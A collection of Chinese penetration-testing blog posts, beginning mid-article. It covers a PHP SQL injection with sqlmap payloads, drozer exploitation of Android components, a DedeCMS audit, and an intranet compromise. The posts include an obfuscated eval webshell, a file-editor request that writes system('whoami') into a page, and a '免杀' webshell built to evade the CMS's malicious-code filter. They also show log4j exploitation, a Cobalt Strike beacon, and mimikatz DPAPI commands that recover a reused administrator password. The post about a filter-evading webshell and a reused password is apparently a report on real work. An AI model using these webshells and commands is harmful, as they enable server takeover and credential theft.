expense表中所有在用户指定日期范围内创建的记录。 而且还用了PDO,PDO最重要的就是预处理语句,从根本上防御sql注入,但是又没使用好。 它将 sql 语句的结构 和 数据 分开发送给数据库服务器处理。 比如说先把一个带“占位符”的 sql 模板发送给数据库,数据库会解析并编译这个模板,确定它的结构。 $stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND pwd = ?"); 然后当执行阶段的时候,再把真实的数据,比如说什么用户输入的用户名和密码,发送给数据库,数据库只会把这些数据当正常数据值使用,不会把它当成 SQL 代码来解析。 这样就避免了,即使用户输入了恶意的数据比如说什么常见的 ' OR '1'='1,它也只会被当作一个普通的字符串字面值去进行匹配,而不会改变原sql语句的逻辑。从而彻底杜绝了 SQL 注入。 但是这条sql语句虽然也使用了PDO,但是它把用户要输入的from_date的值给它拼接到sql字符串了,代码和字符串直接拼接,完全绕过了PDO的安全保护,让PDO形同虚设。 $stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."' "); $_POST['from_date'] 和 $_POST['to_date'] 没有任何过滤/转义,直接拼接到了 SQL 中。 攻击者只要在表单输入里构造恶意 payload,就能注入 sql。 虽然用了 PDO,但没有真正用到参数化查询。 $conn->prepare(...) 本身可以防止注入,但是这里不知道怎么回事,开发者依然把变量拼接到了 sql 里,相当于没起作用。 所以漏洞源于“from_date”参数的用户输入验证不足,导致攻击者能够注入恶意sql查询。 payload --- Parameter: from_date (POST)   Type: error-based   Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)   Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=   Type: time-based blind   Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)   Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit= --- 用sqlmap进行检测 sqlmap -u "http:/http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs sqlmap 识别到 POST 参数 from_date 存在注入漏洞。 测试了多种方式,包括 基于报错注入 和 基于时间的盲注 ,都确认有效。 所谓的错误型注入,简单点说就是通过故意触发数据库错误,从而让数据库在报错信息中直接返回查询结果。 还有时间盲注 ,字面意思也就是通过让数据库执行延时函数,比如说什么 SLEEP(5),然后根据页面响应时间来判断注入的sql是否有效。 from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&... 如果注入成功,数据库将会执行 SLEEP(5)命令,导致页面响应时间延迟5秒。sqlmap就会根据这个延迟就能判断出漏洞存在。 而且sqlmap 成功获取了数据库名:information_schema,这是系统库,每个cms都会有的。 tour1,这个才是该cms特有的数据库名称。 所以明确了POST参数的from_date存在注入漏洞。 3.建议修复 使用准备好的语句和参数绑定:准备好的语句可以防止 SQL 注入,因为它们将 SQL 代码与用户输入数据分离。使用准备好的语句时,用户输入的值将被视为纯数据,不会被解释为 SQL 代码。 输入验证和过滤:严格验证和过滤用户输入数据,确保其符合预期的格式。 最小化数据库用户权限:确保用于连接数据库的账户具有必要的最低权限。避免使用具有高级权限的账户,比如“root”或“admin”进行日常操作。 定期安全审计:定期进行代码和系统安全审计,及时发现并修复潜在的安全漏洞。
Android四大组件安全漏洞实战
Android 四大组件Activity、Service、Broadcast Receiver和Content Provider是应用程序的核心组成部分,但如果实现不当,会引入严重的安全漏洞。本文将详细分析各组件常见的安全漏洞,通过漏洞代码逻辑基于 drozer 的利用方式,能够更清楚的了解具体漏洞的原理以及利用方法。 具体droze的下载和安装不详细介绍,可以自行百度,安装完成后先在android端运行drozer agent,点击开启。 在电脑端通过adb实现端口转发,并成功启动drozer adb forward tcp:31415 tcp:31415 drozer console connect 通过app.package.list的filter参数过滤alan关键词的包名称 run app.package.list --filter alan 查询该app的包信息 run app.package.info -a com.asec.alan 利用app.package.attacksurface可以查询该APP的攻击面,即漏洞的点和数量。 run app.package.attacksurface com.asec.alan 完成上述的操作后,即可对相关的漏洞进行检测分析了,接下来针对具体的组件和漏洞进行测试操作。 一、Activity Activity 作为 Android 的界面组件,负责与用户交互,其安全问题直接影响用户数据安全。 1、未授权访问漏洞 需要登录权限的 Activity 未做严格校验,导致恶意应用可直接通过 Intent 启动。 通过以下drozer命令可以查看当前app的所有activity,并确认无权限限制 run app.activity.info -a com.asec.alan 对于这些activity的执行逻辑属于 LoginActivity登录->MainActivity->InfoQueryActivity LoginActivity登录->MainActivity->FileQueryActivity 1)漏洞代码 以下为具体的代码,以LoginActivity登录->MainActivity->InfoQueryActivity场景为例,可以看到首先LoginActivity以硬编码的形式进行用户密码的判断,并使用SharePreference进行了登录态的存储 当用户密码登录成功后即可跳转MainActivity,MainActivity对登录态简单做了校验,确认其中的is_logged_in的值存在即可加载。 通过MainActivity跳转到InfoQueryActivity直接进行点击事件的监听跳转 该acitivity直接加载,未进行登录态的校验 通过上述APP代码的分析,可以判断出MainActivity的加载做了简单的登录态校验,但是如果已经登录过,且登录态写入到user_prefs.xml中后,只要不进行删除即可直接通过命令加载成功实现绕过;InfoQueryActivity的加载并未做任何校验,可以尝试直接进行加载。 2)漏洞利用 MainActivity加载: 基于上述代码逻辑的分析,接下来通过drozer命令进行利用测试,如果已经登录过APP,则在该程序目录会生成user_prefs.xml文件,里面会写入"is_logged_in"的值为true MainActivity的加载可直接通过drozer命令加载 run app.activity.start --component com.asec.alan com.asec.alan.MainActivity 执行后成功记载MainActivity 删除user_prefs.xml文件,再利用drozer命令尝试加载MainActivity则失败 InfoQueryActivity加载: InfoQueryActivity则通过app.activity.start命令直接加载即可。 run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity 3)修复建议 二、Service Service 用于后台处理任务,若存在漏洞可能导致敏感操作被恶意调用。 新建一个用于漏洞测试的service,并写入一些漏洞的逻辑 service组件运行导出 通过drozer命令可以查询支持导出的service组件信息,支持导出则可能存在对应的漏洞。 run app.service.info -a com.asec.alan 1、任意文件写入漏洞 在 Android Service 场景中,当服务接收外部传入的文件路径参数并直接用于文件写入操作时,覆盖应用自身关键文件(配置文件、数据库等),导致应用的使用或者安全风险问题。 1)漏洞代码 当 Service 处理"com.asec.alan.ACTION_WRITE_FILE"动作时,会从 Intent 中直接读取filePath参数及需要写入的内容,并通过writeToFile()方法写入内容。但是writeToFile()直接使用传入的filePath创建File对象,未检查路径是否限制在应用私有目录 2)漏洞利用 通过drozer命令向/data/data/com.asec.alan/写入drozer_test.txt文件,文件内容为Test from drozer run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer" 利用adb shell连接android系统,切换为root权限后查看drozer_test.txt的存在和内容 adb shell su ls /data/data/com.asec.alan/drozer_test.txt cat /data/data/com.asec.alan/drozer_test.txt 2、敏感信息泄露漏洞 敏感信息泄露指应用在运行过程中,将不应公开的敏感数据(如密码、密钥、令牌等)以明文形式存储、传输或输出,导致未授权主体可获取这些信息。 1)漏洞代码 当 Service 处理"com.asec.alan.ACTION_GET_SECRET"动作时,getSensitiveInformation()方法会返回包含数据库密码、API 密钥等核心敏感数据,并通过Log.d()输出到系统日志 2)漏洞利用 利用drozer命令启动com.asec.alan com.asec.alan.VulnerableService服务 run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService 通过adb的logcat查看对应的日志,成功打印出对饮的敏感数据。 adb logcat VulnerableService:D *:S 三、Broadcast Receiver Broadcast Receiver 用于接收系统或应用间的广播,若实现不当会导致信息泄露或恶意调用。 1、伪造恶意广播漏洞 Receiver 未验证广播发送者身份,恶意应用可伪造广播触发敏感操作。 1)漏洞代码 该接收器未对广播发送者的身份进行任何验证,任何应用都可以发送com.asec.alan.ACTION_SENSITIVE_OPERATION动作的广播来触发其逻辑。并通过performSensitiveOperation方法执行敏感操作,测试使用Toast在界面弹窗展示,但整个调用链都没有权限检查机制。 2)漏洞利用 利用drozer伪造恶意广播并触发该接收器 run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test" 通过界面可以查看到对应的广播信息 四、Content Provider Content Provider 用于数据共享,是最容易出现安全问题的组件,常见漏洞包括信息泄露、SQL 注入和目录遍历。 1、信息泄露漏洞 Content Provider 未限制访问权限,导致应用内敏感数据(如用户信息、数据库)可被任意读取。 1)漏洞代码: 通过该代码可以发现,未检查调用者是否有读取权限,可以直接调用sql进行数据的查询。 2)漏洞利用 利用drozer命令可以查看该APP的provider的信息 run app.provider.info -a com.asec.alan 利用app.provider.finduri可以查看所有的uri run app.provider.finduri com.asec.alan 通过drozer查询content://com.asec.alan.provider/该uri的数据 run app.provider.query content://com.asec.alan.provider/ 2、SQL 注入漏洞 Content Provider 在处理查询时直接拼接 SQL 语句,未使用参数化查询,导致 SQL 注入。 1)漏洞代码 通过代码发现将selection参数直接拼接进 SQL 查询字符串,未使⽤参数化查询或输⼊净化,完全信任外部输⼊。并且忽略了selectionArgs参数,该参数本应⽤于安全传递查询参数,调⽤rawQuery时未使⽤参数绑定功能,⽽是传递null。 2)漏洞利用 利用drozer的scanner.provider.injection可以查询该APP的Content Provider存在的SQL注入 run scanner.provider.injection -a com.asec.alan 基于sql注入漏洞的测试和利用,通过order by进行显示位的判断 run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2" run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3" run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4" 并进行username和password数据的查询。 run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--" 3、目录遍历漏洞 Content Provider 的openFile()方法未验证文件路径,导致攻击者可访问应用沙盒外的任意文件。 1)漏洞代码 代码中使用uri.getEncodedPath()获取路径,未处理../或..\等路径跳转符,用户可控的uriPath直接与基础目录baseDir拼接,并没有对访问的文件类型、路径范围进行权限校验。 2)漏洞利用 利用drozer的scanner.provider.traversal对目录遍历漏洞进行检测,发现对应的uri run scanner.provider.traversal -a com.asec.alan 并成功查询/system/etc/hosts文件内容 run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts 本文利用drozer工具基于该APP的测试和操作,其实对于android app的组件漏洞的测试还有很多方法,通过其对四大组件的系统性检测,可有效发现权限控制缺失、输入验证不足等高危漏洞。在实际测试中,需结合静态代码分析(如查看 AndroidManifest.xml 的组件配置)与 Drozer 的动态交互测试,形成 "静态枚举 + 动态验证" 的闭环,才能全面评估组件的安全状态,为漏洞修复提供精准依据。 APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk 提取码: 4ggk
意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE
前言 书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS 官方网站 https://www.dedecms.com/ 最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路 环境搭建 去官网下载源码,然后配合 phpstudy 搭建就 ok 了 这个比较简单,注意根目录需要放 upload 目录 注意默认的管理员目录是 dede,访问/dede/login.php 默认账户密码adminadmin 代码审计 这里我只找 RCE 漏洞 首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞 sink 点的话可以使用一个工具 Seay 源代码审计系统 https://github.com/f1tz/cnseay虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术 我们直接把源码丢进去就可以了 可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的 然后这里我只关注能够 RCE 的漏洞 找到之后没有什么技巧,就是回头看参数是否可以控制 下面举个例子 案例 1 比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下 <?php /*<meta name="9Rrdzo" content="a">*/ $password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0 $username = get_meta_tags(__FILE__)[$_GET['token']]; header("ddddddd:".$username); $arr = apache_response_headers(); $template_source=''; foreach ($arr as $k => $v) {    if ($k[0] == 'd' && $k[5] == 'd') {        $template_source = str_replace($v,'',$password);   }} $template_source = base64_decode($template_source); $template_source = base64_decode($template_source); $key = 'template_source'; $aes_decode[1]=$key; @eval($aes_decode[1]); $NkM1M7 = ".............."; if( count($_REQUEST) || file_get_contents("php://input") ){ }else{    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);    echo base64_decode/**/($NkM1M7); } 我们可以看到这个参数其实是不能控制的 `aes_decode[1]就是 $key,等价于$template_source $template_source = str_replace($v, '', $password); 来源于$password 而其中 password 是固定的,所以不可以控制 案例 2 function DeleteFile($filename)   {        $filename = $this->baseDir.$this->activeDir."/$filename";        if(is_file($filename))       {            @unlink($filename); $t="文件";       }        else       {            $t = "目录";            if($this->allowDeleteDir==1)           {                $this->RmDirFiles($filename);           } else           {                // 完善用户体验,by:sumic                ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);                exit;           }                   }        ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);        return 0;   } } 是一个方法,这种需要寻找调用这个方法的地方 else if($fmdo=="del") {    $fmm->DeleteFile($filename); } 这种是一个典型的控制器,根据 fmdo 来选择对应的操作 不过根据所在的文件的注释 /** * 文件管理控制 * * @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $ * @package       DedeCMS.Administrator * @founder       IT柏拉图, https://weibo.com/itprato * @author         DedeCMS团队 * @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.) * @license       http://help.dedecms.com/usersguide/license.html * @link           http://www.dedecms.com */ 这里就能大概猜到了 是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越 不过这里是做了限制的 $filename = preg_replace("#([.]+[/]+)*#", "", $filename); 移除 ../ 形式的路径穿越字符 而且下面还会直接移除.. 所以考虑放弃 案例 3 定位到 sys_sql_query.php 文件了 发现可以执行 sql if(preg_match("#^select #i", $sqlquery))   {        $dsql->SetQuery($sqlquery);        $dsql->Execute();        if($dsql->GetTotalRow()<=0)       {            echo "运行SQL:{$sqlquery},无返回记录!";       }        else       {            echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";       }        $j = 0;        while($row = $dsql->GetArray())       {            $j++;            if($j > 100)           {                break;           }            echo "<hr size=1 width='100%'/>";            echo "记录:$j";            echo "<hr size=1 width='100%'/>";            foreach($row as $k=>$v)           {                echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";           }       }        exit();   }    if($querytype==2)   {        //普通的SQL语句        $sqlquery = str_replace("\r","",$sqlquery);        $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);        $nerrCode = ""; $i=0;        foreach($sqls as $q)       {            $q = trim($q);            if($q=="")           {                continue;           }            $dsql->ExecuteNoneQuery($q);            $errCode = trim($dsql->GetError());            if($errCode=="")           {                $i++;           }            else           {                $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";           }       }        echo "成功执行{$i}个SQL语句!<br><br>";        echo $nerrCode;   }    else   {        $dsql->ExecuteNoneQuery($sqlquery);        $nerrCode = trim($dsql->GetError());        echo "成功执行1个SQL语句!<br><br>";        echo $nerrCode;   }    exit(); } 而且 sql 语句是可以控制的 跟进执行的地方发现 function Execute($id="me", $sql='') {      global $dsqli; if(!$dsqli->isInit) { $this->Init($this->pconnect); }      if($dsqli->isClose)     {          $this->Open(FALSE);          $dsqli->isClose = FALSE;     }      if(!empty($sql))     {          $this->SetQuery($sql);     }      //SQL语句安全检查      if($this->safeCheck)     {          CheckSql($this->queryString);     }      $t1 = ExecTime();      //var_dump($this->queryString);      $this->result[$id] = mysqli_query($this->linkID, $this->queryString); //var_dump(mysql_error());      //查询性能测试      if($this->recordLog) { $queryTime = ExecTime() - $t1;          $this->RecordLog($queryTime);          //echo $this->queryString."--{$queryTime}<hr />\r\n";     }      if($this->result[$id]===FALSE)     {          $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");     } } 是有一个 checksql 的检查的 //SQL语句过滤程序,由80sec提供,这里作了适当的修改 if (!function_exists('CheckSql')) {    function CheckSql($db_string,$querytype='select')   {        global $cfg_cookie_encode;        $clean = '';        $error='';        $old_pos = 0;        $pos = -1;        $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';        $userIP = GetIP();        $getUrl = GetCurUrl();        //如果是普通查询语句,直接过滤一些特殊语法        if($querytype=='select')       {            $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";            //$notallow2 = "--|/\*";            if(preg_match("/".$notallow1."/i", $db_string))           {                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");                exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");           }       }        //完整的SQL检查        while (TRUE)       {            $pos = strpos($db_string, '\'', $pos + 1);            if ($pos === FALSE)           {                break;           }            $clean .= substr($db_string, $old_pos, $pos - $old_pos);            while (TRUE)           {                $pos1 = strpos($db_string, '\'', $pos + 1);                $pos2 = strpos($db_string, '\\', $pos + 1);                if ($pos1 === FALSE)               {                    break;               }                elseif ($pos2 == FALSE || $pos2 > $pos1)               {                    $pos = $pos1;                    break;               }                $pos = $pos2 + 1;           }            $clean .= '$s#39;;            $old_pos = $pos + 1;       }        $clean .= substr($db_string, $old_pos);        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE        OR strpos($clean,'$s$s#39;)!== FALSE)       {            $fail = TRUE;            if(preg_match("#^create table#i",$clean)) $fail = FALSE;            $error="unusual character";       }        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="union detect";       }        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)       {            $fail = TRUE;            $error="comment detect";       }        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="slown down detect";       }        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="slown down detect";       }        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="file fun detect";       }        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="file fun detect";       }        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)       {            $fail = TRUE;            $error="sub select detect";       }        if (!empty($fail))       {            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");            exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");       }        else       {            return $db_string;       }   } } 案例 4 基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法 我们来到对应的路由去查看 果然找到了 //文件编辑 /*--------------- function __saveEdit(); ----------------*/ else if($fmdo=="edit") {    csrf_check();    $filename = str_replace("..", "", $filename);    $file = "$cfg_basedir$activepath/$filename";    $str = stripslashes($str);    $fp = fopen($file, "w");    fputs($fp, $str);    fclose($fp);    if ($fp === false) {        ShowMsg("保存失败!请检查文件是否可写", -1);        exit();   }    if(empty($backurl))   {        ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");   }    else   {        ShowMsg("成功保存文件!",$backurl);   }    exit(); } 一样的方法 文件名是 filename,内容是 str 我们访问对应的路由 发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗 POST /dede/file_manage_control.php HTTP/1.1 Host: dedecms:5135 Content-Length: 130 Cache-Control: max-age=0 Origin: http://dedecms:5135 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath= Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwa Connection: keep-alive fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++ 但是发现 所以准备调试分析一手 $str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); global $cfg_disable_funs; $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders'; foreach (explode(",", $cfg_disable_funs) as $value) {    $value = str_replace(" ", "", $value);    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   } } if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   }    if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   }    if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   } } 发现原因是因为有 waf 直接交给一个聪明朋友 移除多行注释 $str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); 防止攻击者把危险代码写在注释中来绕过检测。 危险函数与变量过滤 $cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...'; 匹配并拦截使用了以下内容的代码: 系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等 全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS 动态函数调用:call_user_func, create_function, 等 一旦匹配:直接终止执行并提示危险代码。 PHP 标签与代码执行行为检测 感觉过滤还是挺严格的 绕过 waf 到 RCE 直接掏出上次的 webshell,稍微修改一下就 ok 了 <?php class User {    private $username;    private $password;    public function __construct($username, $password) {        $this->username = $username;        $this->password = $password;   }    public function __debugInfo() {        $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");        $xmlElement = new SimpleXMLElement($xmlData);        $namespaces = $xmlElement->getNamespaces(TRUE);        $xmlElement->rewind();        var_dump($xmlElement->key());        $result = $xmlElement->xpath('/books/system');        var_dump (($result[0]->__toString()));       ($xmlElement->key())($result[0]->__toString());        return [            'username' => $this->username,            'info' => '这是调试时返回的信息',            'timestamp' => time()       ];   } } $user = new User('alice', 'secret123'); var_dump($user); 原理上次大概讲过了,就是自动触发 详情可以看到蚁景网络安全这个公众号 https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg感谢给的平台 然后我们访问首页 成功弹出计算器
记一次内网横向破解管理员密码
前言 本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。 外网打点 首先一波信息收集过后,把最后收集的到的 url 拿到 httpx 去做一下存活检测 httpx 测活一下 测完活之后,搞波指纹 指纹到手,这边一般我都是拿高危指纹去漏扫一下 然后找到了一个站点 GETshell 之后找到了一个站点 直接访问如下,相信这种情况很常见,别急,其实还有利用空间,然后我对它目录扫描了一波 发现竟然有 /api/actuator 泄露,这个利用的手法很多 先遍历访问一下常见的接口 但是这个点接口权限不够,比如常见的 env 和 heapdump 访问不到 决定溜了的时候发现 bp 我的 dns 平台传来了动静 竟然有 log4j 呜呜呜,网上一堆工具,打 log4j 都到完全自动化的地步了 CS 生成一个命令,上线到 cs 上,因为不好传文件,就执行命令 07/23 15:13:23 beacon> shell whoami 07/23 15:13:23 [*] Tasked beacon to run: whoami 07/23 15:13:23 [+] host called home, sent: 37 bytes 07/23 15:13:23 [+] received output: xxxxxx\administrator 内网启动 内网信息收集 首先简单看下内网的网段 找到了内网之后我们就需要查看存活情况了,我的 fscan 没有免杀,这里只能随便看看了 随便 arp-a 看了一下 发现 c 段的主机还是很多的 systeminfo win2012 的用户,不过已经是高权限了,也没有必要提权了 然后我发现在域的时候我就先不管了,先找找凭据 凭据收集 这里没有抓取到密码 然后自己尝试了半天,大师傅提示了一些东西,我觉得这个思路也不错,下面讲讲是如何突破的 突破 当时因为还拿下了一台主机,而且是同一个内网的 查询连接信息的时候查到了之前的那个内网,我就想着可以尝试使用 DPAPI DPAPI 是 Windows 系统用来加密敏感数据(比如用户保存的密码、浏览器凭据、无线密码等)的一个加密机制 MasterKey 就是一串“主密钥”,是每个用户登录 Windows 后系统自动为其生成的,用来加密和解密数据的“钥匙” 流程 [ 用户口令 → 派生 Key1 ]       ← 用来加密 MasterKey       ↓ [ MasterKey ]               ← 用来加密 DPAPI 中的密码等敏感数据       ↓ [ 某个应用的数据(如 WiFi 密码) ]GUID     : {3cef9fc0-4319-42da-80ff-9e74470a9f7c} Time     : 2025/2/4 0:23:08 MasterKey : aed5fc1156359826c231e1079996c769cf1ee... sha1(key) : deb68bc117a3323d424a7d21a86173438e2419f7 Master Key Files 存放密钥的文件则被称之为 MasterKeyFiles,其路径一般为 %APPDATA%/Microsoft/Protect/%SID%。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码/Ntlm/Sha1 就可以还原了。 当然除了 GUID 命名的文件之外,还有 Preferred,显示当前系统正在使用的 MasterKey file 及其过期时间 我这里去寻找一下 amdin 的凭证 直接拿最新的那个 然后去获取 guid 之后通过这个 guid,我们去寻找 masterkey 首先需要把全部的 masterkey 找出来 mimikatz sekurlsa::dpapi sekurlsa::dpapi 会从 lsass 中提取当前用户登录会话的 DPAPI MasterKey 解密材料(如密码、hash、SID 等),用于离线解密各种 DPAPI 加密的凭据文件 因为内容很多,直接把结果复制到记事本 然后搜索一下 太好了,找到了,然后我们直接去破解 mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\xxxxx /masterkey:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 直接获取到了管理员的密码 而且这个密码应该是集团的通用密码,后续发现这个这个内网网段的管理员都是这个密码 远程其他网段的桌面 利用这个密码,横向了大概有 9 台主机
一次暗链应急响应
